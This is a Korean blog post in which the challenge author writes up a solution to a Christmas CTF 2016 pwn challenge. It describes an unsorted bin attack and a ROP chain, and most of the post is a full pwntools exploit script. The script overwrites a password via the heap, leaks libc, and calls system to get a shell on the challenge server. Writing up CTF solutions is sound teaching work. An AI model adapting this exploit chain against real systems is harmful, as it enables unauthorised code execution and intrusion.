ABOUT ME

-

Today
-
Yesterday
-
Total
-
  • [christmas ctf 2016] who is solo 문제풀이
    CTF 2016. 12. 25. 16:50

    광준이형 덕분에 크리스마스 씨티엪에 문제를 낼 기회가 생겼다! 감사합니다 형 :) 


    그냥 stack overflow문제는 뻔하고, unsorted bin attack으로 password 덮어주고 64bit rop 통해서 password 담아낸걸 릭해내고 오프셋 계산을 통해 system, pop 가젯을 구해서 익스플로잇 하는 문제임! 


    unsorted bin attack 만 알면 풀 수 있는데, 사람들이 잘 몰랐던것 같다. 익스가 좀 귀찮긴한듯..


    ㄹㅇ 사람들 다 fastbin으로 password 덮어서 ROP로 GOT libc 릭해서 품 ㅂㄷㅂㄷ 


    Full RELRO랑 스태틱컴파일해서 낼걸 


    아이디어가 하나있었는데 문제만들고 익스가 넘 힘들어서 포기했고ㅠㅠㅠㅠ



    플래그는 내 현실을 빗대어 작성함;; ㄹㅇ 후..


    이 문젠 총 9팀이품!



    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    29
    30
    31
    32
    33
    34
    35
    36
    37
    38
    39
    40
    41
    42
    43
    44
    45
    46
    47
    48
    49
    50
    51
    52
    53
    54
    55
    56
    57
    58
    59
    60
    61
    62
    63
    64
    65
    66
    67
    68
    69
    70
    71
    72
    73
    74
    75
    76
    77
    78
    79
    80
    81
    82
    83
    84
    85
    86
    87
    88
    89
    90
    91
    92
    93
    94
    95
    96
    97
    98
    99
    100
    101
    102
    103
    104
    105
    106
    107
    108
    109
    110
    111
    112
    113
    114
    115
    116
    117
    118
    119
    120
    121
    122
    123
    124
    125
    126
    127
    128
    129
    130
    131
    132
    133
    134
    135
    136
    137
    138
    139
    140
    141
    142
    143
    144
    145
    from pwn import *
     
    = remote("52.175.144.148",9901)
     
     
    password = 0x602080
    #offset = 0x4647C
    offset1 = 0x046428
    magic_gadget = 0
    def malloc():
        print p.recvuntil("$ ")
        p.sendline("1")
        print p.recvuntil("Allocate Chunk Number: ")
        p.sendline("1")
        print p.recvuntil("Input Size: ")
        p.sendline("128")
        print p.recvuntil("Input Data: ")
        p.sendline("AAAA")
     
        print p.recvuntil("$ ")
        p.sendline("1")
        print p.recvuntil("Allocate Chunk Number: ")
        p.sendline("2")
        print p.recvuntil("Input Size: ")
        p.sendline("128")
        print p.recvuntil("Input Data: ")
        p.sendline("AAAA")
     
        print p.recvuntil("$ ")
        p.sendline("1")
        print p.recvuntil("Allocate Chunk Number: ")
        p.sendline("3")
        print p.recvuntil("Input Size: ")
        p.sendline("128")
        print p.recvuntil("Input Data: ")
        p.sendline("AAAA")
     
    def leak_free():
        print p.recvuntil("$ ")
        p.sendline("2")
        print p.recvuntil("Free Chunk number: ")
        p.sendline("2")
        
     
    def get_leak():
        global magic_gadget
        print p.recvuntil("$ ")
        p.sendline("3")
        print p.recvuntil("Chunk: ")
        p.sendline("2")
        print p.recvuntil("Data : ")
        libc_leak = u64(p.recv(8))
        libc_leak = int(str(hex(libc_leak))[5:],16)
        libc_base = libc_leak - 0x3be7b8
        magic_gadget = libc_base + offset1
        # print "[*] LIBC LEAK: " + hex(libc_leak)
        print "[*] LIBC BASE: " + hex(libc_base)
        print "[*] Magic: " + hex(magic_gadget)
     
     
    def pass_overwrite():
     
        print p.recvuntil("$ ")
        p.sendline("201527")
        print p.recvuntil("Modify Data: ")
        payload = "A"*136
        payload += p64(0xa1)
        payload += p64(0x1)
        payload += p64(password - 16)
        p.sendline(payload)
     
        print p.recvuntil("$ ")
        p.sendline("1")
        print p.recvuntil("Allocate Chunk Number: ")
        p.sendline("4")
        print p.recvuntil("Input Size: ")
        p.sendline("144")
        print p.recvuntil("Input Data: ")
        p.sendline("A")
     
    def exploit():
        printf_plt = 0x400600
        poprdi = 0x4008a0
     
        print p.recvuntil("$ ")
        p.sendline("4")
        print p.recvuntil("Input password: ")
     
        payload = "A"*1032    
        payload += p64(poprdi)
        payload += p64(password)
        payload += p64(printf_plt)
        payload += p64(0x400680)
     
        p.sendline(payload)
        p.sendline("6")
        print p.recvuntil("$ ")
        leak = u64(p.recv(6).ljust(8,'\x00'))
        log.info("main_arena: " + hex(leak))
        libc_base = leak - 0x3be7b8
        # log.info("libc_base: " + hex(libc_base))
        # one_shot = libc_base + 0x46428
        poprdi = 0x4008A0
        poprsi = libc_base + 0x10809A
        poprdx = libc_base + 0xBCDF0
        poprcx = libc_base + 0x0830AE
        libc_system = libc_base + 0x46590
        read_plt = 0x400610
        binsh = "/bin/sh\x00"
        # log.info("One shot: " + hex(one_shot))
     
     
        print p.recvuntil("$ ")
        p.sendline("4")
        print p.recvuntil("password: ")
     
        payload = "A"*1032
        payload += p64(poprdi)
        payload += p64(0)
        payload += p64(poprsi)
        payload += p64(0x602060)
        payload += p64(poprdx)
        payload += p64(len(binsh)+1)
        payload += p64(read_plt)
        
        payload += p64(poprdi)
        payload += p64(0x602060)
        payload += p64(libc_system)
        p.sendline(payload)
     
        print p.recvuntil("exit")
     
        p.sendline("6")
        p.sendline("sh")
     
     
    if __name__ == "__main__":
        raw_input()
        malloc()
        leak_free()
        #get_leak()
        pass_overwrite()
        exploit()
        p.interactive()
     
    cs


    'CTF' 카테고리의 다른 글

    [BoB CTF] casino  (0) 2017.01.04
    [BoB CTF] megabox  (0) 2017.01.04
    HoldyShield Pwn400 diary  (0) 2016.12.22
    HolyShield pwn100  (0) 2016.12.20
    HolyShield 2016 PPC  (0) 2016.12.20

    댓글

Designed by Tistory.